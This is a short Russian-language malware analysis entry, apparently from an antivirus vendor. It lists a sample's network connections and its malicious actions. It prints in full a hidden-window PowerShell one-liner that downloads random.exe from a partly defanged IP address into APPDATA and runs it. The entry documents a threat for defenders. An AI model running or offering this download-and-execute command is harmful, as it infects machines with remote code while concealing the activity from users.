Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://18#.#56.72.2/testmine/random.exe как $d
Сетевая активность
Подключается к
- '18#.#56.72.2':80
Другое
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $d=$env:APPDATA+'ZG6BUJXFHVENZDE84HWGGZG2GFHQBKDA.EXE';(New-Object System.Net.WebClient).DownloadFile('http://18#.#56.72.2/testmine/random.exe',$d);Start-Process $d; (со скрытым окном)
